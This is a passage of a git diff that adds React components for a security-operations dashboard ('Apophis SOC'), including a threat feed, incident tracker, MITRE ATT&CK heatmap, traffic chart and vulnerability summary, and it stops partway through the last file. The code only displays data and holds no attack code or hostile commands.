13.246c2.594 4.48 5.28 8.868 8.038 13.147Zm37.542 31.03c-5.184-5.592-10.354-11.779-15.403-18.433c4.902.192 9.899.29 14.978.29c5.218 0 10.376-.117 15.453-.343c-4.985 6.774-10.018 12.97-15.028 18.486Zm52.198-57.817c3.422 7.8 6.306 15.345 8.596 22.52c-7.422 1.694-15.436 3.058-23.88 4.071a382.417 382.417 0 0 0 7.859-13.026a347.403 347.403 0 0 0 7.425-13.565Zm-16.898 8.101a358.557 358.557 0 0 1-12.281 19.815a329.4 329.4 0 0 1-23.444.823c-7.967 0-15.716-.248-23.178-.732a310.202 310.202 0 0 1-12.513-19.846h.001a307.41 307.41 0 0 1-10.923-20.627a310.278 310.278 0 0 1 10.89-20.637l-.001.001a307.318 307.318 0 0 1 12.413-19.761c7.613-.576 15.42-.876 23.31-.876H128c7.926 0 15.743.303 23.354.883a329.357 329.357 0 0 1 12.335 19.695a358.489 358.489 0 0 1 11.036 20.54a329.472 329.472 0 0 1-11 20.722Zm22.56-122.124c8.572 4.944 11.906 24.881 6.52 51.026c-.344 1.668-.73 3.367-1.15 5.09c-10.622-2.452-22.155-4.275-34.23-5.408c-7.034-10.017-14.323-19.124-21.64-27.008a160.789 160.789 0 0 1 5.888-5.4c18.9-16.447 36.564-22.941 44.612-18.3ZM128 90.808c12.625 0 22.86 10.235 22.86 22.86s-10.235 22.86-22.86 22.86s-22.86-10.235-22.86-22.86s10.235-22.86 22.86-22.86Z"></path></svg>
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
57
dashboard/src/components/Header.jsx
Normal file
57
dashboard/src/components/Header.jsx
Normal file
@@ -0,0 +1,57 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
|
||||
const THREAT_LEVEL_STYLES = {
|
||||
CRITICAL: 'bg-ap-red text-white animate-pulse-red',
|
||||
HIGH: 'bg-ap-orange text-white',
|
||||
ELEVATED: 'bg-ap-yellow text-ap-black',
|
||||
GUARDED: 'bg-ap-green text-ap-black',
|
||||
};
|
||||
|
||||
function formatTime(date) {
|
||||
const h = String(date.getHours()).padStart(2, '0');
|
||||
const m = String(date.getMinutes()).padStart(2, '0');
|
||||
const s = String(date.getSeconds()).padStart(2, '0');
|
||||
return `${h}:${m}:${s}`;
|
||||
}
|
||||
|
||||
export default function Header({ threatLevel = 'GUARDED' }) {
|
||||
const [time, setTime] = useState(() => formatTime(new Date()));
|
||||
|
||||
useEffect(() => {
|
||||
const id = setInterval(() => {
|
||||
setTime(formatTime(new Date()));
|
||||
}, 1000);
|
||||
return () => clearInterval(id);
|
||||
}, []);
|
||||
|
||||
const badgeStyle = THREAT_LEVEL_STYLES[threatLevel] || THREAT_LEVEL_STYLES.GUARDED;
|
||||
|
||||
return (
|
||||
<header className="flex items-center justify-between bg-ap-black border-b border-white/10 px-4 py-2">
|
||||
{/* Left -- Logo + Title */}
|
||||
<div className="flex items-center gap-3">
|
||||
<img src="/logo.png" alt="Apophis" className="h-9 w-auto" />
|
||||
<span className="font-mono font-bold tracking-wider text-ap-red text-sm select-none">
|
||||
APOPHIS SOC
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Center -- System Clock */}
|
||||
<div className="font-mono text-ap-silver-dim text-sm tabular-nums tracking-wide select-none">
|
||||
{time}
|
||||
</div>
|
||||
|
||||
{/* Right -- Threat Level Indicator */}
|
||||
<div className="flex flex-col items-end gap-0.5">
|
||||
<span className="text-[10px] text-ap-silver-dim font-mono uppercase tracking-widest select-none">
|
||||
Threat Level
|
||||
</span>
|
||||
<span
|
||||
className={`px-3 py-1 font-mono text-xs font-bold uppercase select-none ${badgeStyle}`}
|
||||
>
|
||||
{threatLevel}
|
||||
</span>
|
||||
</div>
|
||||
</header>
|
||||
);
|
||||
}
|
||||
140
dashboard/src/components/IncidentTracker.jsx
Normal file
140
dashboard/src/components/IncidentTracker.jsx
Normal file
@@ -0,0 +1,140 @@
|
||||
import { formatDistanceToNow } from 'date-fns';
|
||||
|
||||
const PRIORITY_STYLE = {
|
||||
P1: 'bg-ap-red/20 text-ap-red',
|
||||
P2: 'bg-ap-orange/20 text-ap-orange',
|
||||
P3: 'bg-ap-yellow/20 text-ap-yellow',
|
||||
P4: 'bg-ap-blue/20 text-ap-blue',
|
||||
};
|
||||
|
||||
const STATUS_COLOR = {
|
||||
Open: 'text-ap-red',
|
||||
Investigating: 'text-ap-orange',
|
||||
Contained: 'text-ap-yellow',
|
||||
Resolved: 'text-ap-green',
|
||||
};
|
||||
|
||||
const STATUS_DOT = {
|
||||
Open: 'bg-ap-red',
|
||||
Investigating: 'bg-ap-orange',
|
||||
Contained: 'bg-ap-yellow',
|
||||
Resolved: 'bg-ap-green',
|
||||
};
|
||||
|
||||
const STATUS_ORDER = ['Open', 'Investigating', 'Contained', 'Resolved'];
|
||||
|
||||
function getRelativeTime(created) {
|
||||
if (!created) return '--';
|
||||
const date = created instanceof Date ? created : new Date(created);
|
||||
if (Number.isNaN(date.getTime())) return '--';
|
||||
return formatDistanceToNow(date, { addSuffix: true });
|
||||
}
|
||||
|
||||
function PriorityBadge({ priority }) {
|
||||
const style = PRIORITY_STYLE[priority] || PRIORITY_STYLE.P4;
|
||||
return (
|
||||
<span className={`font-mono text-[10px] font-bold px-1.5 py-0.5 select-none ${style}`}>
|
||||
{priority}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function StatusBadge({ status }) {
|
||||
const color = STATUS_COLOR[status] || STATUS_COLOR.Open;
|
||||
return (
|
||||
<span className={`font-mono text-[10px] uppercase select-none ${color}`}>
|
||||
{status}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function IncidentCard({ incident }) {
|
||||
const { id, description, status, priority, assignee, created } = incident;
|
||||
|
||||
return (
|
||||
<div className="mx-3 my-2 p-3 bg-ap-dark border border-white/5">
|
||||
{/* Top row: priority + ID + status */}
|
||||
<div className="flex items-center gap-2">
|
||||
<PriorityBadge priority={priority} />
|
||||
<span className="font-mono text-xs text-ap-silver">
|
||||
{id}
|
||||
</span>
|
||||
<span className="ml-auto shrink-0">
|
||||
<StatusBadge status={status} />
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Description */}
|
||||
<p className="text-xs text-ap-silver mt-1 truncate">
|
||||
{description}
|
||||
</p>
|
||||
|
||||
{/* Bottom row: assignee + relative time */}
|
||||
<div className="flex items-center gap-2 mt-2">
|
||||
{assignee && (
|
||||
<span className="font-mono text-[10px] text-ap-silver-dim px-1.5 py-0.5 bg-white/5">
|
||||
{assignee}
|
||||
</span>
|
||||
)}
|
||||
<span className="ml-auto font-mono text-[10px] text-ap-silver-dim tabular-nums">
|
||||
{getRelativeTime(created)}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function StatsBar({ incidents }) {
|
||||
const counts = STATUS_ORDER.reduce((acc, status) => {
|
||||
acc[status] = incidents.filter((i) => i.status === status).length;
|
||||
return acc;
|
||||
}, {});
|
||||
|
||||
return (
|
||||
<div className="flex items-center gap-4 px-3 py-2 border-b border-white/5">
|
||||
{STATUS_ORDER.map((status) => (
|
||||
<div key={status} className="flex items-center gap-1.5">
|
||||
<span className={`inline-block w-1.5 h-1.5 ${STATUS_DOT[status]}`} />
|
||||
<span className="font-mono text-[10px] text-ap-silver-dim">
|
||||
{status}
|
||||
</span>
|
||||
<span className="font-mono text-[10px] font-bold text-ap-silver tabular-nums">
|
||||
{counts[status]}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function IncidentTracker({ incidents = [] }) {
|
||||
const activeCount = incidents.filter((i) => i.status !== 'Resolved').length;
|
||||
|
||||
return (
|
||||
<div className="panel h-full flex flex-col">
|
||||
{/* Panel header */}
|
||||
<div className="panel-header">
|
||||
<span className="dot" />
|
||||
<span>Active Incidents</span>
|
||||
<span className="ml-auto px-1.5 py-0.5 text-[9px] font-mono font-bold tabular-nums bg-ap-red-dim text-ap-red select-none">
|
||||
{activeCount}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Stats bar */}
|
||||
<StatsBar incidents={incidents} />
|
||||
|
||||
{/* Scrollable incident list */}
|
||||
<div className="flex-1 overflow-y-auto">
|
||||
{incidents.length === 0 && (
|
||||
<div className="px-3 py-6 text-center font-mono text-xs text-ap-silver-dim">
|
||||
No incidents
|
||||
</div>
|
||||
)}
|
||||
{incidents.map((incident) => (
|
||||
<IncidentCard key={incident.id} incident={incident} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
128
dashboard/src/components/MitreHeatmap.jsx
Normal file
128
dashboard/src/components/MitreHeatmap.jsx
Normal file
@@ -0,0 +1,128 @@
|
||||
import { useMemo } from 'react';
|
||||
|
||||
const TACTIC_ORDER = [
|
||||
'Reconnaissance',
|
||||
'Resource Dev',
|
||||
'Initial Access',
|
||||
'Execution',
|
||||
'Persistence',
|
||||
'Priv Escalation',
|
||||
'Defense Evasion',
|
||||
'Credential Access',
|
||||
'Discovery',
|
||||
'Lateral Movement',
|
||||
'Collection',
|
||||
'C2',
|
||||
'Exfiltration',
|
||||
'Impact',
|
||||
];
|
||||
|
||||
const CELL_STYLES = [
|
||||
'bg-white/5', // 0 — not seen
|
||||
'bg-ap-blue/40', // 1 — low
|
||||
'bg-ap-yellow/50', // 2 — medium
|
||||
'bg-ap-red/70', // 3 — high
|
||||
];
|
||||
|
||||
const LEGEND = [
|
||||
{ label: 'None', style: 'bg-white/5' },
|
||||
{ label: 'Low', style: 'bg-ap-blue/40' },
|
||||
{ label: 'Med', style: 'bg-ap-yellow/50' },
|
||||
{ label: 'High', style: 'bg-ap-red/70' },
|
||||
];
|
||||
|
||||
function HeatCell({ technique, value }) {
|
||||
const bg = CELL_STYLES[value] ?? CELL_STYLES[0];
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`w-7 h-7 ${bg} border border-white/5 transition-colors hover:border-ap-silver-dim cursor-default`}
|
||||
title={`${technique} (${value})`}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
export default function MitreHeatmap({ data = {} }) {
|
||||
// Build a stable ordered structure from the data prop
|
||||
const { tactics, maxRows } = useMemo(() => {
|
||||
const ordered = TACTIC_ORDER
|
||||
.filter((t) => data[t] != null)
|
||||
.map((tactic) => ({
|
||||
tactic,
|
||||
techniques: Object.entries(data[tactic]).map(([name, value]) => ({
|
||||
name,
|
||||
value: Math.max(0, Math.min(3, Number(value) || 0)),
|
||||
})),
|
||||
}));
|
||||
|
||||
const max = ordered.reduce(
|
||||
(m, t) => Math.max(m, t.techniques.length),
|
||||
0,
|
||||
);
|
||||
|
||||
return { tactics: ordered, maxRows: max };
|
||||
}, [data]);
|
||||
|
||||
return (
|
||||
<div className="panel h-full flex flex-col">
|
||||
{/* Panel header */}
|
||||
<div className="panel-header">
|
||||
<span className="dot" />
|
||||
<span>MITRE ATT&CK Coverage</span>
|
||||
</div>
|
||||
|
||||
{/* Scrollable heatmap area */}
|
||||
<div className="flex-1 overflow-x-auto overflow-y-auto p-3">
|
||||
{tactics.length === 0 ? (
|
||||
<div className="px-3 py-6 text-center font-mono text-xs text-ap-silver-dim">
|
||||
No MITRE data
|
||||
</div>
|
||||
) : (
|
||||
<div className="inline-flex gap-px">
|
||||
{tactics.map(({ tactic, techniques }) => (
|
||||
<div key={tactic} className="flex flex-col items-center gap-px">
|
||||
{/* Tactic header — vertical text */}
|
||||
<div className="h-24 flex items-end justify-center pb-1">
|
||||
<span
|
||||
className="font-mono text-[9px] text-ap-silver-dim uppercase tracking-wide whitespace-nowrap select-none"
|
||||
style={{
|
||||
writingMode: 'vertical-rl',
|
||||
transform: 'rotate(180deg)',
|
||||
}}
|
||||
>
|
||||
{tactic}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Technique cells */}
|
||||
{techniques.map(({ name, value }) => (
|
||||
<HeatCell key={name} technique={name} value={value} />
|
||||
))}
|
||||
|
||||
{/* Pad empty rows so columns align */}
|
||||
{Array.from(
|
||||
{ length: maxRows - techniques.length },
|
||||
(_, i) => (
|
||||
<div key={`pad-${i}`} className="w-7 h-7" />
|
||||
),
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Legend */}
|
||||
<div className="flex items-center gap-3 px-3 py-2 border-t border-white/10">
|
||||
{LEGEND.map(({ label, style }) => (
|
||||
<div key={label} className="flex items-center gap-1.5">
|
||||
<span className={`inline-block w-3 h-3 ${style} border border-white/10`} />
|
||||
<span className="font-mono text-[9px] text-ap-silver-dim uppercase select-none">
|
||||
{label}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
112
dashboard/src/components/NetworkTraffic.jsx
Normal file
112
dashboard/src/components/NetworkTraffic.jsx
Normal file
@@ -0,0 +1,112 @@
|
||||
import {
|
||||
AreaChart,
|
||||
Area,
|
||||
XAxis,
|
||||
YAxis,
|
||||
CartesianGrid,
|
||||
Tooltip,
|
||||
ResponsiveContainer,
|
||||
Legend,
|
||||
} from 'recharts';
|
||||
|
||||
const AREA_CONFIG = [
|
||||
{ dataKey: 'inbound', stroke: '#0056B3', fill: '#0056B344', name: 'Inbound' },
|
||||
{ dataKey: 'outbound', stroke: '#E0E0E2', fill: '#E0E0E222', name: 'Outbound' },
|
||||
{ dataKey: 'blocked', stroke: '#D72638', fill: '#D7263844', name: 'Blocked' },
|
||||
];
|
||||
|
||||
const TICK_STYLE = {
|
||||
fontFamily: "'JetBrains Mono', monospace",
|
||||
fontSize: '0.75rem',
|
||||
fill: '#E0E0E266',
|
||||
};
|
||||
|
||||
function CustomTooltip({ active, payload, label }) {
|
||||
if (!active || !payload?.length) return null;
|
||||
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
background: '#1B1B1E',
|
||||
border: '1px solid #E0E0E220',
|
||||
fontFamily: "'JetBrains Mono', monospace",
|
||||
fontSize: '0.75rem',
|
||||
padding: '8px 12px',
|
||||
}}
|
||||
>
|
||||
<p style={{ color: '#E0E0E266', marginBottom: 4 }}>{label}</p>
|
||||
{payload.map((entry) => (
|
||||
<p key={entry.dataKey} style={{ color: entry.stroke }}>
|
||||
{entry.name}: {entry.value} Mbps
|
||||
</p>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function NetworkTraffic({ data }) {
|
||||
return (
|
||||
<div className="panel h-full flex flex-col">
|
||||
{/* Header */}
|
||||
<div className="panel-header">
|
||||
<span className="dot" />
|
||||
<span>Network Traffic</span>
|
||||
<span
|
||||
className="ml-auto font-mono text-[10px] tracking-widest px-1.5 py-0.5 border border-ap-red/30 text-ap-red"
|
||||
>
|
||||
24H
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Chart */}
|
||||
<div className="flex-1 min-h-0 p-2">
|
||||
<ResponsiveContainer width="100%" height="100%">
|
||||
<AreaChart data={data} margin={{ top: 8, right: 12, left: 0, bottom: 0 }}>
|
||||
<CartesianGrid stroke="#E0E0E210" strokeDasharray="3 3" />
|
||||
|
||||
<XAxis
|
||||
dataKey="time"
|
||||
tick={TICK_STYLE}
|
||||
axisLine={{ stroke: '#E0E0E210' }}
|
||||
tickLine={{ stroke: '#E0E0E210' }}
|
||||
/>
|
||||
|
||||
<YAxis
|
||||
tick={TICK_STYLE}
|
||||
unit=" Mbps"
|
||||
axisLine={{ stroke: '#E0E0E210' }}
|
||||
tickLine={{ stroke: '#E0E0E210' }}
|
||||
width={72}
|
||||
/>
|
||||
|
||||
<Tooltip content={<CustomTooltip />} cursor={{ stroke: '#E0E0E220' }} />
|
||||
|
||||
<Legend
|
||||
verticalAlign="bottom"
|
||||
iconType="rect"
|
||||
wrapperStyle={{
|
||||
fontFamily: "'JetBrains Mono', monospace",
|
||||
fontSize: '0.75rem',
|
||||
paddingTop: 8,
|
||||
}}
|
||||
/>
|
||||
|
||||
{AREA_CONFIG.map(({ dataKey, stroke, fill, name }) => (
|
||||
<Area
|
||||
key={dataKey}
|
||||
type="monotone"
|
||||
dataKey={dataKey}
|
||||
stroke={stroke}
|
||||
fill={fill}
|
||||
strokeWidth={1.5}
|
||||
name={name}
|
||||
dot={false}
|
||||
activeDot={{ r: 3, strokeWidth: 0, fill: stroke }}
|
||||
/>
|
||||
))}
|
||||
</AreaChart>
|
||||
</ResponsiveContainer>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
78
dashboard/src/components/SystemHealth.jsx
Normal file
78
dashboard/src/components/SystemHealth.jsx
Normal file
@@ -0,0 +1,78 @@
|
||||
const STATUS_COLOR = {
|
||||
online: 'bg-ap-green',
|
||||
warning: 'bg-ap-yellow',
|
||||
offline: 'bg-ap-red',
|
||||
};
|
||||
|
||||
function barColor(pct) {
|
||||
if (pct > 80) return 'bg-ap-red';
|
||||
if (pct >= 50) return 'bg-ap-yellow';
|
||||
return 'bg-ap-green';
|
||||
}
|
||||
|
||||
function MetricBar({ label, value }) {
|
||||
return (
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="font-mono text-[10px] text-ap-silver-dim w-7 shrink-0">
|
||||
{label}
|
||||
</span>
|
||||
<div className="flex-1 h-1 bg-white/10">
|
||||
<div
|
||||
className={`h-full ${barColor(value)}`}
|
||||
style={{ width: `${Math.min(value, 100)}%` }}
|
||||
/>
|
||||
</div>
|
||||
<span className="font-mono text-[10px] text-ap-silver-dim w-8 text-right shrink-0">
|
||||
{value}%
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SystemCard({ system }) {
|
||||
const { name, status, cpu, mem, uptime } = system;
|
||||
|
||||
return (
|
||||
<div className="bg-ap-dark p-2.5 border border-white/5">
|
||||
{/* Name + status dot */}
|
||||
<div className="flex items-center justify-between gap-2 mb-2">
|
||||
<span className="font-mono text-xs font-semibold truncate text-ap-silver">
|
||||
{name}
|
||||
</span>
|
||||
<span
|
||||
className={`inline-block w-2 h-2 shrink-0 ${STATUS_COLOR[status] ?? 'bg-ap-silver-dim'}`}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Metrics */}
|
||||
<div className="flex flex-col gap-1.5">
|
||||
<MetricBar label="CPU" value={cpu} />
|
||||
<MetricBar label="MEM" value={mem} />
|
||||
</div>
|
||||
|
||||
{/* Uptime */}
|
||||
<p className="font-mono text-[10px] text-ap-silver-dim mt-2">
|
||||
UP: {uptime}
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function SystemHealth({ systems }) {
|
||||
return (
|
||||
<div className="panel h-full flex flex-col">
|
||||
{/* Header */}
|
||||
<div className="panel-header">
|
||||
<span className="dot" />
|
||||
<span>System Health</span>
|
||||
</div>
|
||||
|
||||
{/* Grid */}
|
||||
<div className="grid grid-cols-2 gap-2 p-3 flex-1 content-start">
|
||||
{systems.map((system) => (
|
||||
<SystemCard key={system.name} system={system} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
129
dashboard/src/components/ThreatFeed.jsx
Normal file
129
dashboard/src/components/ThreatFeed.jsx
Normal file
@@ -0,0 +1,129 @@
|
||||
const SEVERITY_COLOR = {
|
||||
critical: 'bg-ap-red',
|
||||
high: 'bg-ap-orange',
|
||||
medium: 'bg-ap-yellow',
|
||||
low: 'bg-ap-blue',
|
||||
info: 'bg-ap-silver-dim',
|
||||
};
|
||||
|
||||
const SEVERITY_TEXT = {
|
||||
critical: 'text-ap-red',
|
||||
high: 'text-ap-orange',
|
||||
medium: 'text-ap-yellow',
|
||||
low: 'text-ap-blue',
|
||||
info: 'text-ap-silver-dim',
|
||||
};
|
||||
|
||||
function formatTimestamp(ts) {
|
||||
if (!ts) return '--:--:--';
|
||||
const d = ts instanceof Date ? ts : new Date(ts);
|
||||
if (Number.isNaN(d.getTime())) return '--:--:--';
|
||||
const h = String(d.getHours()).padStart(2, '0');
|
||||
const m = String(d.getMinutes()).padStart(2, '0');
|
||||
const s = String(d.getSeconds()).padStart(2, '0');
|
||||
return `${h}:${m}:${s}`;
|
||||
}
|
||||
|
||||
function SeverityDot({ severity }) {
|
||||
const bg = SEVERITY_COLOR[severity] || SEVERITY_COLOR.info;
|
||||
return <span className={`inline-block w-1.5 h-1.5 ${bg} shrink-0`} />;
|
||||
}
|
||||
|
||||
function BlockedBadge({ blocked }) {
|
||||
if (blocked) {
|
||||
return (
|
||||
<span className="px-1.5 py-0.5 text-[9px] font-mono font-bold uppercase bg-ap-green/20 text-ap-green select-none">
|
||||
Blocked
|
||||
</span>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<span className="px-1.5 py-0.5 text-[9px] font-mono font-bold uppercase bg-ap-red/20 text-ap-red select-none">
|
||||
Allowed
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function AlertRow({ alert }) {
|
||||
const {
|
||||
timestamp,
|
||||
severity = 'info',
|
||||
attackType,
|
||||
sourceIP,
|
||||
targetIP,
|
||||
source,
|
||||
country,
|
||||
port,
|
||||
blocked,
|
||||
} = alert;
|
||||
|
||||
const sevText = SEVERITY_TEXT[severity] || SEVERITY_TEXT.info;
|
||||
|
||||
return (
|
||||
<div className="px-3 py-2 border-b border-white/5 hover:bg-white/5 transition-colors cursor-default">
|
||||
{/* Top line */}
|
||||
<div className="flex items-center gap-2">
|
||||
<SeverityDot severity={severity} />
|
||||
<span className={`font-mono text-xs font-semibold ${sevText}`}>
|
||||
{severity.toUpperCase()}
|
||||
</span>
|
||||
<span className="font-mono text-xs text-ap-silver truncate">
|
||||
{attackType}
|
||||
</span>
|
||||
<span className="ml-auto font-mono text-[11px] text-ap-silver-dim tabular-nums shrink-0">
|
||||
{formatTimestamp(timestamp)}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Bottom line */}
|
||||
<div className="flex items-center gap-2 mt-1">
|
||||
<span className="font-mono text-[11px] text-ap-silver-dim truncate">
|
||||
{sourceIP}
|
||||
{port != null ? `:${port}` : ''}
|
||||
<span className="text-ap-silver-dim/50 mx-1">{'->'}</span>
|
||||
{targetIP}
|
||||
</span>
|
||||
{country && (
|
||||
<span className="font-mono text-[9px] text-ap-silver-dim uppercase shrink-0">
|
||||
[{country}]
|
||||
</span>
|
||||
)}
|
||||
{source && (
|
||||
<span className="font-mono text-[10px] text-ap-silver-dim/70 truncate">
|
||||
{source}
|
||||
</span>
|
||||
)}
|
||||
<span className="ml-auto shrink-0">
|
||||
<BlockedBadge blocked={blocked} />
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function ThreatFeed({ alerts = [] }) {
|
||||
return (
|
||||
<div className="panel h-full flex flex-col">
|
||||
{/* Panel header */}
|
||||
<div className="panel-header">
|
||||
<span className="dot" />
|
||||
<span>Threat Feed</span>
|
||||
<span className="ml-auto px-1.5 py-0.5 text-[9px] font-mono font-bold tabular-nums bg-ap-red-dim text-ap-red select-none">
|
||||
{alerts.length}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Scrollable alert list */}
|
||||
<div className="flex-1 overflow-y-auto">
|
||||
{alerts.length === 0 && (
|
||||
<div className="px-3 py-6 text-center font-mono text-xs text-ap-silver-dim">
|
||||
No alerts
|
||||
</div>
|
||||
)}
|
||||
{alerts.map((alert) => (
|
||||
<AlertRow key={alert.id} alert={alert} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
115
dashboard/src/components/TopThreats.jsx
Normal file
115
dashboard/src/components/TopThreats.jsx
Normal file
@@ -0,0 +1,115 @@
|
||||
function CountCell({ count }) {
|
||||
let color = 'text-ap-silver';
|
||||
if (count > 200) color = 'text-ap-red font-bold';
|
||||
else if (count > 100) color = 'text-ap-orange font-bold';
|
||||
|
||||
return (
|
||||
<td className="px-3 py-2 border-b border-white/5">
|
||||
<span className={`font-mono text-xs tabular-nums ${color}`}>
|
||||
{count.toLocaleString()}
|
||||
</span>
|
||||
</td>
|
||||
);
|
||||
}
|
||||
|
||||
function StatusBadge({ blocked }) {
|
||||
if (blocked) {
|
||||
return (
|
||||
<span className="text-[10px] px-1.5 py-0.5 font-mono font-bold uppercase bg-ap-green/20 text-ap-green select-none">
|
||||
Blocked
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<span className="text-[10px] px-1.5 py-0.5 font-mono font-bold uppercase bg-ap-red/20 text-ap-red select-none">
|
||||
Active
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
export default function TopThreats({ threats = [] }) {
|
||||
return (
|
||||
<div className="panel h-full flex flex-col">
|
||||
{/* Panel header */}
|
||||
<div className="panel-header">
|
||||
<span className="dot" />
|
||||
<span>Top Threat Sources</span>
|
||||
</div>
|
||||
|
||||
{/* Table area */}
|
||||
<div className="flex-1 overflow-y-auto">
|
||||
{threats.length === 0 ? (
|
||||
<div className="px-3 py-6 text-center font-mono text-xs text-ap-silver-dim">
|
||||
No threat data
|
||||
</div>
|
||||
) : (
|
||||
<table className="w-full font-mono text-xs">
|
||||
<thead>
|
||||
<tr>
|
||||
<th className="text-left px-3 py-2 text-ap-silver-dim text-[10px] uppercase tracking-wider border-b border-white/10 bg-ap-dark sticky top-0">
|
||||
IP
|
||||
</th>
|
||||
<th className="text-left px-3 py-2 text-ap-silver-dim text-[10px] uppercase tracking-wider border-b border-white/10 bg-ap-dark sticky top-0">
|
||||
Country
|
||||
</th>
|
||||
<th className="text-left px-3 py-2 text-ap-silver-dim text-[10px] uppercase tracking-wider border-b border-white/10 bg-ap-dark sticky top-0">
|
||||
Attack Type
|
||||
</th>
|
||||
<th className="text-left px-3 py-2 text-ap-silver-dim text-[10px] uppercase tracking-wider border-b border-white/10 bg-ap-dark sticky top-0">
|
||||
Count
|
||||
</th>
|
||||
<th className="text-left px-3 py-2 text-ap-silver-dim text-[10px] uppercase tracking-wider border-b border-white/10 bg-ap-dark sticky top-0">
|
||||
Status
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{threats.map((threat) => (
|
||||
<tr
|
||||
key={threat.ip}
|
||||
className="hover:bg-white/5 transition-colors cursor-default"
|
||||
>
|
||||
{/* IP */}
|
||||
<td className="px-3 py-2 border-b border-white/5">
|
||||
<span className="text-ap-silver font-medium whitespace-nowrap">
|
||||
{threat.ip}
|
||||
</span>
|
||||
</td>
|
||||
|
||||
{/* Country */}
|
||||
<td className="px-3 py-2 border-b border-white/5">
|
||||
<span
|
||||
className="text-ap-silver-dim uppercase"
|
||||
title={threat.countryName}
|
||||
>
|
||||
{threat.country}
|
||||
</span>
|
||||
</td>
|
||||
|
||||
{/* Attack Type */}
|
||||
<td className="px-3 py-2 border-b border-white/5">
|
||||
<span
|
||||
className="block max-w-[140px] truncate text-ap-silver"
|
||||
title={threat.attackType}
|
||||
>
|
||||
{threat.attackType}
|
||||
</span>
|
||||
</td>
|
||||
|
||||
{/* Count */}
|
||||
<CountCell count={threat.count} />
|
||||
|
||||
{/* Status */}
|
||||
<td className="px-3 py-2 border-b border-white/5">
|
||||
<StatusBadge blocked={threat.blocked} />
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
110
dashboard/src/components/VulnSummary.jsx
Normal file
110
dashboard/src/components/VulnSummary.jsx
Normal file
@@ -0,0 +1,110 @@
|
||||
import { PieChart, Pie, Cell, ResponsiveContainer, Tooltip } from 'recharts';
|
||||
|
||||
const SEVERITY_CONFIG = [
|
||||
{ key: 'critical', label: 'Critical', color: '#D72638' },
|
||||
{ key: 'high', label: 'High', color: '#FF6D00' },
|
||||
{ key: 'medium', label: 'Medium', color: '#FFD600' },
|
||||
{ key: 'low', label: 'Low', color: '#0056B3' },
|
||||
{ key: 'info', label: 'Info', color: '#E0E0E244' },
|
||||
];
|
||||
|
||||
function CustomTooltip({ active, payload }) {
|
||||
if (!active || !payload?.length) return null;
|
||||
const { name, value } = payload[0];
|
||||
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
background: '#1B1B1E',
|
||||
border: '1px solid #E0E0E220',
|
||||
fontFamily: "'JetBrains Mono', monospace",
|
||||
fontSize: '0.75rem',
|
||||
padding: '6px 10px',
|
||||
}}
|
||||
>
|
||||
<span style={{ color: payload[0].payload.fill }}>{name}</span>
|
||||
<span style={{ color: '#E0E0E2', marginLeft: 8 }}>{value}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function VulnSummary({ data = {} }) {
|
||||
const {
|
||||
critical = 0,
|
||||
high = 0,
|
||||
medium = 0,
|
||||
low = 0,
|
||||
info = 0,
|
||||
} = data;
|
||||
|
||||
const total = critical + high + medium + low + info;
|
||||
|
||||
const chartData = SEVERITY_CONFIG.map(({ key, label, color }) => ({
|
||||
name: label,
|
||||
value: data[key] || 0,
|
||||
fill: color,
|
||||
}));
|
||||
|
||||
return (
|
||||
<div className="panel h-full flex flex-col">
|
||||
{/* Panel header */}
|
||||
<div className="panel-header">
|
||||
<span className="dot" />
|
||||
<span>Vulnerability Summary</span>
|
||||
</div>
|
||||
|
||||
{/* Chart area */}
|
||||
<div className="relative flex-shrink-0" style={{ height: 180 }}>
|
||||
<ResponsiveContainer width="100%" height="100%">
|
||||
<PieChart>
|
||||
<Pie
|
||||
data={chartData}
|
||||
cx="50%"
|
||||
cy="50%"
|
||||
innerRadius={50}
|
||||
outerRadius={75}
|
||||
dataKey="value"
|
||||
stroke="none"
|
||||
paddingAngle={1}
|
||||
>
|
||||
{chartData.map((entry, index) => (
|
||||
